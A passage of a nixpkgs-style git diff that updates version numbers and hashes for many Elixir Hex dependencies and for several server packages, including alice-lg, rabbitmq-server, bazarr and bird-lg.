"0f4pzx8xdzjkkfjkl442w6lhajgfzsnp3dxcxrh1x72ga1swnxb2"; + sha256 = "6275cb75504f9c1e60eeacb771adfeee4905a9e182103aa59b53fed651ff9738"; }; beamDeps = []; @@ -777,12 +790,12 @@ let jumper = buildMix rec { name = "jumper"; - version = "1.0.1"; + version = "1.0.2"; src = fetchHex { - pkg = "${name}"; + pkg = "jumper"; version = "${version}"; - sha256 = "0cvlbfkapkvbwaijmjq3cxg5m6yv4rh69wvss9kfj862i83mk31i"; + sha256 = "9b7782409021e01ab3c08270e26f36eb62976a38c1aa64b2eaf6348422f165e1"; }; beamDeps = []; @@ -790,38 +803,25 @@ let mail = buildMix rec { name = "mail"; - version = "0.3.0"; + version = "0.3.1"; src = fetchHex { - pkg = "${name}"; + pkg = "mail"; version = "${version}"; - sha256 = "0v0i0xwhsqvdxxyacmcf25pqyda87yqkn7g49vf8gn1i485p0gaj"; + sha256 = "1db701e89865c1d5fa296b2b57b1cd587587cca8d8a1a22892b35ef5a8e352a6"; }; beamDeps = []; }; - majic = buildMix rec { - name = "majic"; - version = "1.0.0"; - - src = fetchHex { - pkg = "${name}"; - version = "${version}"; - sha256 = "17hab8kmqc6gsiqicfgsaik0rvmakb6mbshlbxllj3b5fs7qa1br"; - }; - - beamDeps = [ elixir_make mime nimble_pool plug ]; - }; - makeup = buildMix rec { name = "makeup"; - version = "1.1.0"; + version = "1.1.1"; src = fetchHex { - pkg = "${name}"; + pkg = "makeup"; version = "${version}"; - sha256 = "19jpprryixi452jwhws3bbks6ki3wni9kgzah3srg22a3x8fsi8a"; + sha256 = "5dc62fbdd0de44de194898b6710692490be74baa02d9d108bc29f007783b0b48"; }; beamDeps = [ nimble_parsec ]; @@ -832,9 +832,9 @@ let version = "0.16.1"; src = fetchHex { - pkg = "${name}"; + pkg = "makeup_elixir"; version = "${version}"; - sha256 = "1ik7qw0d5xyc7dv3n33qxl49jfk92l565lbv1zc9n80vmm0s69z1"; + sha256 = "e127a341ad1b209bd80f7bd1620a15693a9908ed780c3b763bccf7d200c767c6"; }; beamDeps = [ makeup nimble_parsec ]; @@ -842,12 +842,12 @@ let makeup_erlang = buildMix rec { name = "makeup_erlang"; - version = "0.1.2"; + version = "0.1.3"; src = fetchHex { - pkg = "${name}"; + pkg = "makeup_erlang"; version = "${version}"; - sha256 = "02411riqa713wzw8in582yva6n6spi4w1ndnj8nhjvnfjg5a3xgk"; + sha256 = "b78dc853d2e670ff6390b605d807263bf606da3c82be37f9d7f68635bd886fc9"; }; beamDeps = [ makeup ]; @@ -858,9 +858,9 @@ let version = "0.9.2"; src = fetchHex { - pkg = "${name}"; + pkg = "meck"; version = "${version}"; - sha256 = "09jq0jrsd3dwzjlnwqjv6m9r2rijgiv57yja6jl41p2p2db4yd41"; + sha256 = "81344f561357dc40a8344afa53767c32669153355b626ea9fcbc8da6b3045826"; }; beamDeps = []; @@ -871,9 +871,9 @@ let version = "1.0.1"; src = fetchHex { - pkg = "${name}"; + pkg = "metrics"; version = "${version}"; - sha256 = "05lz15piphyhvvm3d1ldjyw0zsrvz50d2m5f2q3s8x2gvkfrmc39"; + sha256 = "69b09adddc4f74a40716ae54d140f93beb0fb8978d8636eaded0c31b6f099f16"; }; beamDeps = []; @@ -881,12 +881,12 @@ let mime = buildMix rec { name = "mime"; - version = "1.6.0"; + version = "2.0.5"; src = fetchHex { - pkg = "${name}"; + pkg = "mime"; version = "${version}"; - sha256 = "19qrpnmaf3w8bblvkv6z5g82hzd10rhc7bqxvqyi88c37xhsi89i"; + sha256 = "da0d64a365c45bc9935cc5c8a7fc5e49a0e0f9932a761c55d6c52b142780a05c"; }; beamDeps = []; @@ -897,9 +897,9 @@ let version = "1.2.0"; src = fetchHex { - pkg = "${name}"; + pkg = "mimerl"; version = "${version}"; - sha256 = "08wkw73dy449n68ssrkz57gikfzqk3vfnf264s31jn5aa1b5hy7j"; + sha256 = "f278585650aa581986264638ebf698f8bb19df297f66ad91b18910dfc6e19323"; }; beamDeps = []; @@ -907,12 +907,12 @@ let mint = buildMix rec { name = "mint"; - version = "1.5.1"; + version = "1.5.2"; src = fetchHex { - pkg = "${name}"; + pkg = "mint"; version = "${version}"; - sha256 = "07jvgmggmv6bxhkmrskdjz1xvv0a1l53fby7sammcfbwdbky2qsa"; + sha256 = "d77d9e9ce4eb35941907f1d3df38d8f750c357865353e21d335bdcdf6d892a02"; }; beamDeps = [ castore hpax ]; @@ -923,9 +923,9 @@ let version = "0.3.8"; src = fetchHex { - pkg = "${name}"; + pkg = "mock"; version = "${version}"; - sha256 = "08i0zvk3wss217pjr4qczmdgxi607wcp2mfinydxf5vnr5j27a3z"; + sha256 = "7fa82364c97617d79bb7d15571193fc0c4fe5afd0c932cef09426b3ee6fe2022"; }; beamDeps = [ meck ]; @@ -936,9 +936,9 @@ let version = "0.9.3"; src = fetchHex { - pkg = "${name}"; + pkg = "mogrify"; version = "${version}"; - sha256 = "1rii2yjswnbivmdfnxljvqw3vlpgkhiqikz8k8mmyi97vvhv3281"; + sha256 = "0189b1e1de27455f2b9ae8cf88239cefd23d38de9276eb5add7159aea51731e6"; }; beamDeps = []; @@ -946,12 +946,12 @@ let mox = buildMix rec { name = "mox"; - version = "1.0.2"; + version = "1.1.0"; src = fetchHex { - pkg = "${name}"; + pkg = "mox"; version = "${version}"; - sha256 = "1wpyh6wp76lyx0q2cys23rpmci4gj1pqwnqvfk467xxanchlk1pr"; + sha256 = "d44474c50be02d5b72131070281a5d3895c0e7a95c780e90bc0cfe712f633a13"; }; beamDeps = []; @@ -959,12 +959,12 @@ let nimble_options = buildMix rec { name = "nimble_options"; - version = "1.0.2"; + version = "1.1.0"; src = fetchHex { - pkg = "${name}"; + pkg = "nimble_options"; version = "${version}"; - sha256 = "1f7ih1rnkvph0daf4lsv4rrp6dpccksjd7rh5bhnq0r143dsh4px"; + sha256 = "8bbbb3941af3ca9acc7835f5655ea062111c9c27bcac53e004460dfd19008a99"; }; beamDeps = []; @@ -972,12 +972,12 @@ let nimble_parsec = buildMix rec { name = "nimble_parsec"; - version = "1.3.1"; + version = "1.4.0"; src = fetchHex { - pkg = "${name}"; + pkg = "nimble_parsec"; version = "${version}"; - sha256 = "0rxiw6jzz77v0j460wmzcprhdgn71g1hrz3mcc6djn7bnb0f70i6"; + sha256 = "9c565862810fb383e9838c1dd2d7d2c437b3d13b267414ba6af33e50d2d1cf28"; }; beamDeps = []; @@ -985,12 +985,12 @@ let nimble_pool = buildMix rec { name = "nimble_pool"; - version = "0.2.6"; + version = "1.0.0"; src = fetchHex { - pkg = "${name}"; + pkg = "nimble_pool"; version = "${version}"; - sha256 = "0gv59waa505mz2gi956sj1aa6844c65w2dp2qh2jfgsx15am0w8w"; + sha256 = "80be3b882d2d351882256087078e1b1952a28bf98d0a287be87e4a24a710b67a"; }; beamDeps = []; @@ -998,12 +998,12 @@ let oban = buildMix rec { name = "oban"; - version = "2.15.2"; + version = "2.15.4"; src = fetchHex { - pkg = "${name}"; + pkg = "oban"; version = "${version}"; - sha256 = "1sgickk10b73pkddfhk5vhmi8vjn065wzyl41ng4iiwgljg5fjhg"; + sha256 = "5fce611fdfffb13e9148df883116e5201adf1e731eb302cc88cde0588510079c"; }; beamDeps = [ ecto_sql jason postgrex telemetry ]; @@ -1011,12 +1011,12 @@ let open_api_spex = buildMix rec { name = "open_api_spex"; - version = "3.17.3"; + version = "3.18.0"; src = fetchHex { - pkg = "${name}"; + pkg = "open_api_spex"; version = "${version}"; - sha256 = "1zphp59dd3l4l8279pjmhbddskimbgrr123wivycz0yahldb4p8n"; + sha256 = "37849887ab67efab052376401fac28c0974b273ffaecd98f4532455ca0886464"; }; beamDeps = [ jason plug poison ]; @@ -1024,12 +1024,12 @@ let parse_trans = buildRebar3 rec { name = "parse_trans"; - version = "3.3.1"; + version = "3.4.1"; src = fetchHex { - pkg = "${name}"; + pkg = "parse_trans"; version = "${version}"; - sha256 = "12w8ai6b5s6b4hnvkav7hwxd846zdd74r32f84nkcmjzi1vrbk87"; + sha256 = "620a406ce75dada827b82e453c19cf06776be266f5a67cff34e1ef2cbb60e49a"; }; beamDeps = []; @@ -1037,25 +1037,25 @@ let phoenix = buildMix rec { name = "phoenix"; - version = "1.6.16"; + version = "1.7.10"; src = fetchHex { - pkg = "${name}"; + pkg = "phoenix"; version = "${version}"; - sha256 = "0fdca3h6k9plv1qvch6zyl6wbnfhp8jisvggjmmsjw7n6kzqjng1"; + sha256 = "cf784932e010fd736d656d7fead6a584a4498efefe5b8227e9f383bf15bb79d0"; }; - beamDeps = [ castore jason phoenix_pubsub phoenix_view plug plug_cowboy plug_crypto telemetry ]; + beamDeps = [ castore jason phoenix_pubsub phoenix_template phoenix_view plug plug_cowboy plug_crypto telemetry websock_adapter ]; }; phoenix_ecto = buildMix rec { name = "phoenix_ecto"; - version = "4.4.2"; + version = "4.4.3"; src = fetchHex { - pkg = "${name}"; + pkg = "phoenix_ecto"; version = "${version}"; - sha256 = "0pcgrvj5lqjmsngrhl77kv0l8ik8gg7pw19v4xlhpm818vfjw93h"; + sha256 = "d36c401206f3011fefd63d04e8ef626ec8791975d9d107f9a0817d426f61ac07"; }; beamDeps = [ ecto phoenix_html plug ]; @@ -1063,12 +1063,12 @@ let phoenix_html = buildMix rec { name = "phoenix_html"; - version = "3.3.1"; + version = "3.3.3"; src = fetchHex { - pkg = "${name}"; + pkg = "phoenix_html"; version = "${version}"; - sha256 = "1lyhagjpg4lran6431csgkvf28g50mdvh4mlsxgs21j9vmp91ldy"; + sha256 = "923ebe6fec6e2e3b3e569dfbdc6560de932cd54b000ada0208b5f45024bdd76c"; }; beamDeps = [ plug ]; @@ -1079,9 +1079,9 @@ let version = "0.7.2"; src = fetchHex { - pkg = "${name}"; + pkg = "phoenix_live_dashboard"; version = "${version}"; - sha256 = "1dq5vj1a6fzclr3fwj7y8rg2xq3yigvgqc3aaq664fvs7h3dypqf"; + sha256 = "0e5fdf063c7a3b620c566a30fcf68b7ee02e5e46fe48ee46a6ec3ba382dc05b7"; }; beamDeps = [ ecto ecto_psql_extras mime phoenix_live_view telemetry_metrics ]; @@ -1092,9 +1092,9 @@ let version = "0.18.18"; src = fetchHex { - pkg = "${name}"; + pkg = "phoenix_live_view"; version = "${version}"; - sha256 = "052jv2kbc2nb4qs4ly4idcai6q8wyfkvv59adpg9w67kf820v0d5"; + sha256 = "a5810d0472f3189ede6d2a95bda7f31c6113156b91784a3426cb0ab6a6d85214"; }; beamDeps = [ jason phoenix phoenix_html phoenix_template phoenix_view telemetry ]; @@ -1105,9 +1105,9 @@ let version = "2.1.3"; src = fetchHex { - pkg = "${name}"; + pkg = "phoenix_pubsub"; version = "${version}"; - sha256 = "00p5dvizhawhqbia2cakdn4whaxsm2adq3lzfn3b137xvk0np85v"; + sha256 = "bba06bc1dcfd8cb086759f0edc94a8ba2bc8896d5331a1e2c2902bf8e36ee502"; }; beamDeps = []; @@ -1118,9 +1118,9 @@ let version = "1.2.0"; src = fetchHex { - pkg = "${name}"; + pkg = "phoenix_swoosh"; version = "${version}"; - sha256 = "1fhxh4sff7b3qz2lyryzgms9d6mrhxnmlh924awid6p8a5r133g8"; + sha256 = "e88d117251e89a16b92222415a6d87b99a96747ddf674fc5c7631de734811dba"; }; beamDeps = [ finch hackney phoenix phoenix_html phoenix_view swoosh ]; @@ -1131,9 +1131,9 @@ let version = "1.0.3"; src = fetchHex { - pkg = "${name}"; + pkg = "phoenix_template"; version = "${version}"; - sha256 = "0b4fbp9dhfii6njksm35z8xf4bp8lw5hr7bv0p6g6lj1i9cbdx0n"; + sha256 = "16f4b6588a4152f3cc057b9d0c0ba7e82ee23afa65543da535313ad8d25d8e2c"; }; beamDeps = [ phoenix_html ]; @@ -1141,12 +1141,12 @@ let phoenix_view = buildMix rec { name = "phoenix_view"; - version = "2.0.2"; + version = "2.0.3"; src = fetchHex { - pkg = "${name}"; + pkg = "phoenix_view"; version = "${version}"; - sha256 = "0vykabqxyk08gkfm45zy5dnlnzygwx6g9z4z2h7fxix51qiyfad9"; + sha256 = "cd34049af41be2c627df99cd4eaa71fc52a328c0c3d8e7d4aa28f880c30e7f64"; }; beamDeps = [ phoenix_html phoenix_template ]; @@ -1154,12 +1154,12 @@ let plug = buildMix rec { name = "plug"; - version = "1.14.2"; + version = "1.15.2"; src = fetchHex { - pkg = "${name}"; + pkg = "plug"; version = "${version}"; - sha256 = "04wdyv6nma74bj1m49vkm2bc5mjf8zclfg957fng8g71hw0wabw4"; + sha256 = "02731fa0c2dcb03d8d21a1d941bdbbe99c2946c0db098eee31008e04c6283615"; }; beamDeps = [ mime plug_crypto telemetry ]; @@ -1170,9 +1170,9 @@ let version = "2.6.1"; src = fetchHex { - pkg = "${name}"; + pkg = "plug_cowboy"; version = "${version}"; - sha256 = "04v6xc4v741dr2y38j66fmcc4xc037dnaxzkj2vih6j53yif2dny"; + sha256 = "de36e1a21f451a18b790f37765db198075c25875c64834bcc82d90b309eb6613"; }; beamDeps = [ cowboy cowboy_telemetry plug ]; @@ -1180,12 +1180,12 @@ let plug_crypto = buildMix rec { name = "plug_crypto"; - version = "1.2.5"; + version = "2.0.0"; src = fetchHex { - pkg = "${name}"; + pkg = "plug_crypto"; version = "${version}"; - sha256 = "0hnqgzc3zas7j7wycgnkkdhaji5farkqccy2n4p1gqj5ccfrlm16"; + sha256 = "53695bae57cc4e54566d993eb01074e4d894b65a3766f1c43e2c61a1b0f45ea9"; }; beamDeps = []; @@ -1196,9 +1196,9 @@ let version = "1.0.0"; src = fetchHex { - pkg = "${name}"; + pkg = "plug_static_index_html"; version = "${version}"; - sha256 = "1kxm1flxw3rnsj5jj24c2p23wq1wyblbl32n4rf6046i6k7lzzbr"; + sha256 = "79fd4fcf34d110605c26560cbae8f23c603ec4158c08298bd4360fdea90bb5cf"; }; beamDeps = [ plug ]; @@ -1209,9 +1209,9 @@ let version = "5.0.0"; src = fetchHex { - pkg = "${name}"; + pkg = "poison"; version = "${version}"; - sha256 = "1z6kv2s6w5nrq20446510nys30ir0hfr8ksrlxi0rf01qlbn3p0i"; + sha256 = "11dc6117c501b80c62a7594f941d043982a1bd05a1184280c0d9166eb4d8d3fc"; }; beamDeps = [ decimal ]; @@ -1222,9 +1222,9 @@ let version = "1.5.2"; src = fetchHex { - pkg = "${name}"; + pkg = "poolboy"; version = "${version}"; - sha256 = "1qq116314418jp4skxg8c6jx29fwp688a738lgaz6h2lrq29gmys"; + sha256 = "dad79704ce5440f3d5a3681c8590b9dc25d1a561e8f5a9c995281012860901e3"; }; beamDeps = []; @@ -1232,12 +1232,12 @@ let postgrex = buildMix rec { name = "postgrex"; - version = "0.17.2"; + version = "0.17.4"; src = fetchHex { - pkg = "${name}"; + pkg = "postgrex"; version = "${version}"; - sha256 = "036r3q250vrhj4nmyr4cc40krjgbyci18qkhppvkj7akx6liiac0"; + sha256 = "6458f7d5b70652bc81c3ea759f91736c16a31be000f306d3c64bcdfe9a18b3cc"; }; beamDeps = [ db_connection decimal jason ]; @@ -1248,9 +1248,9 @@ let version = "1.0.2"; src = fetchHex { - pkg = "${name}"; + pkg = "pot"; version = "${version}"; - sha256 = "1q62ascgjgddq0l42nvysfwkxmbvh9qsd8m5dsfr2psgb9zi5zkq"; + sha256 = "78fe127f5a4f5f919d6ea5a2a671827bd53eb9d37e5b4128c0ad3df99856c2e0"; }; beamDeps = []; @@ -1261,9 +1261,9 @@ let version = "1.8.0"; src = fetchHex { - pkg = "${name}"; + pkg = "ranch"; version = "${version}"; - sha256 = "1rfz5ld54pkd2w25jadyznia2vb7aw9bclck21fizargd39wzys9"; + sha256 = "49fbcfd3682fab1f5d109351b61257676da1a2fdbe295904176d5e521a2ddfe5"; }; beamDeps = []; @@ -1271,12 +1271,12 @@ let recon = buildMix rec { name = "recon"; - version = "2.5.3"; + version = "2.5.4"; src = fetchHex { - pkg = "${name}"; + pkg = "recon"; version = "${version}"; - sha256 = "1mwr6267lwl4p7f8jfk14s4cszxwra6zgf84hkcxz8fldzs86rkc"; + sha256 = "e9ab01ac7fc8572e41eb59385efeb3fb0ff5bf02103816535bacaedf327d0263"; }; beamDeps = []; @@ -1287,9 +1287,9 @@ let version = "1.1.0"; src = fetchHex { - pkg = "${name}"; + pkg = "remote_ip"; version = "${version}"; - sha256 = "0x7d086iik0h5gcwn2bvx6cjlznqxr1bznj6qlpsgmmadbvgsvv1"; + sha256 = "616ffdf66aaad6a72fc546dabf42eed87e2a99e97b09cbd92b10cc180d02ed74"; }; beamDeps = [ combine plug ]; @@ -1300,9 +1300,9 @@ let version = "1.1.2"; src = fetchHex { - pkg = "${name}"; + pkg = "sleeplocks"; version = "${version}"; - sha256 = "19argym7xifhsbrp21glkgs0dz1xpd00yfhsbhqdd0dpqm4d1rcz"; + sha256 = "9fe5d048c5b781d6305c1a3a0f40bb3dfc06f49bf40571f3d2d0c57eaa7f59a5"; }; beamDeps = []; @@ -1313,9 +1313,9 @@ let version = "1.1.7"; src = fetchHex { - pkg = "${name}"; + pkg = "ssl_verify_fun"; version = "${version}"; - sha256 = "1y37pj5q6gk1vrnwg1vraws9yihrv9g4133w2qq1sh1piw71jk7y"; + sha256 = "fe4c190e8f37401d30167c8c405eda19469f34577987c76dde613e838bbc67f8"; }; beamDeps = []; @@ -1326,9 +1326,9 @@ let version = "1.0.0"; src = fetchHex { - pkg = "${name}"; + pkg = "statistex"; version = "${version}"; - sha256 = "09vcm2sz2llv00cm7krkx3n5r8ra1b42zx9gfjs8l0imf3p8p7gz"; + sha256 = "ff9d8bee7035028ab4742ff52fc80a2aa35cece833cf5319009b52f1b5a86c27"; }; beamDeps = []; @@ -1336,12 +1336,12 @@ let sweet_xml = buildMix rec { name = "sweet_xml"; - version = "0.7.3"; + version = "0.7.4"; src = fetchHex { - pkg = "${name}"; + pkg = "sweet_xml"; version = "${version}"; - sha256 = "1fpmwhqgvakvdpbwmmyh31ays3hzhnm9766xqyzp9zmkl5kwh471"; + sha256 = "e7c4b0bdbf460c928234951def54fe87edf1a170f6896675443279e2dbeba167"; }; beamDeps = []; @@ -1349,15 +1349,15 @@ let swoosh = buildMix rec { name = "swoosh"; - version = "1.11.4"; + version = "1.14.2"; src = fetchHex { - pkg = "${name}"; + pkg = "swoosh"; version = "${version}"; - sha256 = "03rxj2jdrjg6pab05iz8myr0j9fi3d1v7z2bc3hnli9a08a0jffk"; + sha256 = "01d8fae72930a0b5c1bb9725df0408602ed8c5c3d59dc6e7a39c57b723cd1065"; }; - beamDeps = [ cowboy ex_aws finch gen_smtp hackney jason mail mime plug_cowboy telemetry ]; + beamDeps = [ cowboy ex_aws finch gen_smtp hackney jason mail mime plug plug_cowboy telemetry ]; }; syslog = buildRebar3 rec { @@ -1365,9 +1365,9 @@ let version = "1.1.0"; src = fetchHex { - pkg = "${name}"; + pkg = "syslog"; version = "${version}"; - sha256 = "1qarnqappln4xhlr700rhnhfnfvgvv9l3y1ywdxmh83y7hvl2sjc"; + sha256 = "4c6a41373c7e20587be33ef841d3de6f3beba08519809329ecc4d27b15b659e1"; }; beamDeps = []; @@ -1378,9 +1378,9 @@ let version = "3.1.1"; src = fetchHex { - pkg = "${name}"; + pkg = "table_rex"; version = "${version}"; - sha256 = "141404hwnwnpspvhs112j2la8dfnvkwr0xy14ff42w6nljmj72k7"; + sha256 = "678a23aba4d670419c23c17790f9dcd635a4a89022040df7d5d772cb21012490"; }; beamDeps = []; @@ -1391,9 +1391,9 @@ let version = "1.2.1"; src = fetchHex { - pkg = "${name}"; + pkg = "telemetry"; version = "${version}"; - sha256 = "1mgyx9zw92g6w8fp9pblm3b0bghwxwwcbslrixq23ipzisfwxnfs"; + sha256 = "dad9ce9d8effc621708f99eac538ef1cbe05d6a874dd741de2e689c47feafed5"; }; beamDeps = []; @@ -1404,9 +1404,9 @@ let version = "0.6.1"; src = fetchHex { - pkg = "${name}"; + pkg = "telemetry_metrics"; version = "${version}"; - sha256 = "1iilk2n75kn9i95fdp8mpxvn3rcn3ghln7p77cijqws13j3y1sbv"; + sha256 = "7be9e0871c41732c233be71e4be11b96e56177bf15dde64a8ac9ce72ac9834c6"; }; beamDeps = [ telemetry ]; @@ -1417,9 +1417,9 @@ let version = "1.1.0"; src = fetchHex { - pkg = "${name}"; + pkg = "telemetry_metrics_prometheus"; version = "${version}"; - sha256 = "09jdrv0ik5svi77djycva7a6a8sl05vp2nr7w17s8k94ndckcfyl"; + sha256 = "d43b3659b3244da44fe0275b717701542365d4519b79d9ce895b9719c1ce4d26"; }; beamDeps = [ plug_cowboy telemetry_metrics_prometheus_core ]; @@ -1430,9 +1430,9 @@ let version = "1.1.0"; src = fetchHex { - pkg = "${name}"; + pkg = "telemetry_metrics_prometheus_core"; version = "${version}"; - sha256 = "0sd0j7arhf22ickzdfmq656258dh14kzi61p0vgra007x1zhxl8d"; + sha256 = "0dd10e7fe8070095df063798f82709b0a1224c31b8baf6278b423898d591a069"; }; beamDeps = [ telemetry telemetry_metrics ]; @@ -1443,9 +1443,9 @@ let version = "1.0.0"; src = fetchHex { - pkg = "${name}"; + pkg = "telemetry_poller"; version = "${version}"; - sha256 = "0vjgxkxn9ll1gc6xd8jh4b0ldmg9l7fsfg7w63d44gvcssplx8mk"; + sha256 = "b3a24eafd66c3f42da30fc3ca7dda1e9d546c12250a2d60d7b81d264fbec4f6e"; }; beamDeps = [ telemetry ]; @@ -1453,12 +1453,12 @@ let tesla = buildMix rec { name = "tesla"; - version = "1.7.0"; + version = "1.8.0"; src = fetchHex { - pkg = "${name}"; + pkg = "tesla"; version = "${version}"; - sha256 = "04y31nq54j1wnzpi37779bzzq0sjwsh53ikvnh4n40nvpwgg0r1f"; + sha256 = "10501f360cd926a309501287470372af1a6e1cbed0f43949203a4c13300bc79f"; }; beamDeps = [ castore finch hackney jason mime mint poison telemetry ]; @@ -1469,9 +1469,9 @@ let version = "3.7.11"; src = fetchHex { - pkg = "${name}"; + pkg = "timex"; version = "${version}"; - sha256 = "1anijimbrb3ngdy6fdspr8c9hz6dip7nakx0gayzkfmsxzvj944b"; + sha256 = "8b9024f7efbabaf9bd7aa04f65cf8dcd7c9818ca5737677c7b76acbc6a94d1aa"; }; beamDeps = [ combine gettext tzdata ]; @@ -1482,9 +1482,9 @@ let version = "0.0.7"; src = fetchHex { - pkg = "${name}"; + pkg = "trailing_format_plug"; version = "${version}"; - sha256 = "0gv9z8m1kpfs5f5zcsh9m6vr36s88x1xc6g0k6lr7sgk2m6dwkxx"; + sha256 = "bd4fde4c15f3e993a999e019d64347489b91b7a9096af68b2bdadd192afa693f"; }; beamDeps = [ plug ]; @@ -1495,9 +1495,9 @@ let version = "1.1.1"; src = fetchHex { - pkg = "${name}"; + pkg = "tzdata"; version = "${version}"; - sha256 = "11wpm1mjla8hbkb5mssprg3gsq1v24s8m8nyk3hx5z7aaa1yr756"; + sha256 = "a69cec8352eafcd2e198dea28a34113b60fdc6cb57eb5ad65c10292a6ba89787"; }; beamDeps = [ hackney ]; @@ -1508,9 +1508,9 @@ let version = "0.10.5"; src = fetchHex { - pkg = "${name}"; + pkg = "ueberauth"; version = "${version}"; - sha256 = "1qf97azn8064ymawfm58p2bqpmrigipr4fs5xp3jb8chshqizz9y"; + sha256 = "3efd1f31d490a125c7ed453b926f7c31d78b97b8a854c755f5c40064bf3ac9e1"; }; beamDeps = [ plug ]; @@ -1521,9 +1521,9 @@ let version = "0.7.0"; src = fetchHex { - pkg = "${name}"; + pkg = "unicode_util_compat"; version = "${version}"; - sha256 = "08952lw8cjdw8w171lv8wqbrxc4rcmb3jhkrdb7n06gngpbfdvi5"; + sha256 = "25eee6d67df61960cf6a794239566599b09e17e668d3700247bc498638152521"; }; beamDeps = []; @@ -1531,12 +1531,12 @@ let unsafe = buildMix rec { name = "unsafe"; - version = "1.0.1"; + version = "1.0.2"; src = fetchHex { - pkg = "${name}"; + pkg = "unsafe"; version = "${version}"; - sha256 = "1rahpgz1lsd66r7ycns1ryz2qymamz1anrlps986900lsai2jxvc"; + sha256 = "b485231683c3ab01a9cd44cb4a79f152c6f3bb87358439c6f68791b85c2df675"; }; beamDeps = []; @@ -1544,12 +1544,12 @@ let vex = buildMix rec { name = "vex"; - version = "0.9.0"; + version = "0.9.1"; src = fetchHex { - pkg = "${name}"; + pkg = "vex"; version = "${version}"; - sha256 = "0zw51hj525xiiggjk9n5ciix6pdhr8fvl6z7mqgkzan8sm2gz7y6"; + sha256 = "a0f9f3959d127ad6a6a617c3f607ecfb1bc6f3c59f9c3614a901a46d1765bafe"; }; beamDeps = []; @@ -1560,22 +1560,48 @@ let version = "0.3.1"; src = fetchHex { - pkg = "${name}"; + pkg = "web_push_encryption"; version = "${version}"; - sha256 = "18p2f1gqkg209vf3nychjxy7xpxhgiwyhn4halvr7yr2fvjv50jg"; + sha256 = "4f82b2e57622fb9337559058e8797cb0df7e7c9790793bdc4e40bc895f70e2a2"; }; beamDeps = [ httpoison jose ]; }; + websock = buildMix rec { + name = "websock"; + version = "0.5.3"; + + src = fetchHex { + pkg = "websock"; + version = "${version}"; + sha256 = "6105453d7fac22c712ad66fab1d45abdf049868f253cf719b625151460b8b453"; + }; + + beamDeps = []; + }; + + websock_adapter = buildMix rec { + name = "websock_adapter"; + version = "0.5.5"; + + src = fetchHex { + pkg = "websock_adapter"; + version = "${version}"; + sha256 = "4b977ba4a01918acbf77045ff88de7f6972c2a009213c515a445c48f224ffce9"; + }; + + beamDeps = [ plug plug_cowboy websock ]; + }; + websockex = buildMix rec { name = "websockex"; version = "0.4.3"; src = fetchHex { - pkg = "${name}"; + pkg = "websockex"; version = "${version}"; - sha256 = "1r2kmi2pcmdzvgbd08ci9avy0g5p2lhx80jn736a98w55c3ygwlm"; + sha256 = "95f2e7072b85a3a4cc385602d42115b73ce0b74a9121d0d6dbbf557645ac53e4"; }; beamDeps = []; diff --git a/pkgs/servers/alice-lg/default.nix b/pkgs/servers/alice-lg/default.nix index 09412bb2ccf88..9160b3fe81a91 100644 --- a/pkgs/servers/alice-lg/default.nix +++ b/pkgs/servers/alice-lg/default.nix @@ -6,22 +6,21 @@ , yarn , nodejs , nixosTests -, git , prefetch-yarn-deps }: buildGoModule rec { pname = "alice-lg"; - version = "6.0.0"; + version = "6.1.0"; src = fetchFromGitHub { owner = "alice-lg"; repo = "alice-lg"; rev = version; - hash = "sha256-BdhbHAFqyQc8UbVm6eakbVmLS5QgXhr06oxoc6vYtsM="; + hash = "sha256-BbwTLHDtpa8HCECIiy+UxyQiLf9iAD2GzE0azXk7QGU="; }; - vendorHash = "sha256-SNF46uUTRCaa9qeGCfkHBjyo4BWOlpRaTDq+Uha08y8="; + vendorHash = "sha256-8N5E1CW5Z7HujwXRsZLv7y4uNOJkjj155kmX9PCjajQ="; passthru.ui = stdenv.mkDerivation { pname = "alice-lg-ui"; @@ -30,10 +29,10 @@ buildGoModule rec { yarnOfflineCache = fetchYarnDeps { yarnLock = src + "/ui/yarn.lock"; - hash = "sha256-NeK9IM8E2IH09SVH9lMlV3taCmqwlroo4xzmv4Q01jI="; + hash = "sha256-PwByNIegKYTOT8Yg3nDMDFZiLRVkbX07z99YaDiBsIY="; }; - nativeBuildInputs = [ nodejs yarn git prefetch-yarn-deps ]; + nativeBuildInputs = [ nodejs yarn prefetch-yarn-deps ]; configurePhase = '' runHook preConfigure diff --git a/pkgs/servers/amqp/rabbitmq-server/default.nix b/pkgs/servers/amqp/rabbitmq-server/default.nix index eaf32020ef486..b2348730ebe82 100644 --- a/pkgs/servers/amqp/rabbitmq-server/default.nix +++ b/pkgs/servers/amqp/rabbitmq-server/default.nix @@ -38,12 +38,12 @@ in stdenv.mkDerivation rec { pname = "rabbitmq-server"; - version = "3.12.12"; + version = "3.12.13"; # when updating, consider bumping elixir version in all-packages.nix src = fetchurl { url = "https://github.com/rabbitmq/rabbitmq-server/releases/download/v${version}/${pname}-${version}.tar.xz"; - hash = "sha256-lR/qwEoEH8v6oTTz6oAMlk2Tl2QSCEWV9rnU+gXX2KY="; + hash = "sha256-UjUkiS8ay66DDzeW9EXOJPQVHHxC1sXT8mCn+KVXSQ4="; }; nativeBuildInputs = [ unzip xmlto docbook_xml_dtd_45 docbook_xsl zip rsync python3 ]; diff --git a/pkgs/servers/bazarr/default.nix b/pkgs/servers/bazarr/default.nix index 4c8569698f591..04c5954e18637 100644 --- a/pkgs/servers/bazarr/default.nix +++ b/pkgs/servers/bazarr/default.nix @@ -8,13 +8,13 @@ let in stdenv.mkDerivation rec { pname = "bazarr"; - version = "1.4.1"; + version = "1.4.2"; sourceRoot = "."; src = fetchurl { url = "https://github.com/morpheus65535/bazarr/releases/download/v${version}/bazarr.zip"; - sha256 = "sha256-qkOvodOHeV+jo/+c6RiVEmjorXF+PIJ4C+S9/hDBW98="; + sha256 = "sha256-1OqbCyQmA33ZvyCE11ZSyVwEgyym0Y0EX6qx3g71lnQ="; }; nativeBuildInputs = [ unzip makeWrapper ]; diff --git a/pkgs/servers/bird-lg/default.nix b/pkgs/servers/bird-lg/default.nix index b4ce72332d978..b459e0b304afd 100644 --- a/pkgs/servers/bird-lg/default.nix +++ b/pkgs/servers/bird-lg/default.nix @@ -3,13 +3,13 @@ let generic = { modRoot, vendorHash }: buildGoModule rec { pname = "bird-lg-${modRoot}"; - version = "1.3.1"; + version = "1.3.5"; src = fetchFromGitHub { owner = "xddxdd"; repo = "bird-lg-go"; rev = "v${version}"; - hash = "sha256-ROMwgsKroxd9qkKX8ZoOuazBrnZytcTAPT9hR/v6a04="; + hash = "sha256-lWpTIuN+wCSDBHmpRIfVG8Z1Qx1s55MnJomQPjczB5k="; }; doDist = false; @@ -35,12 +35,12 @@ let bird-lg-frontend = generic { modRoot = 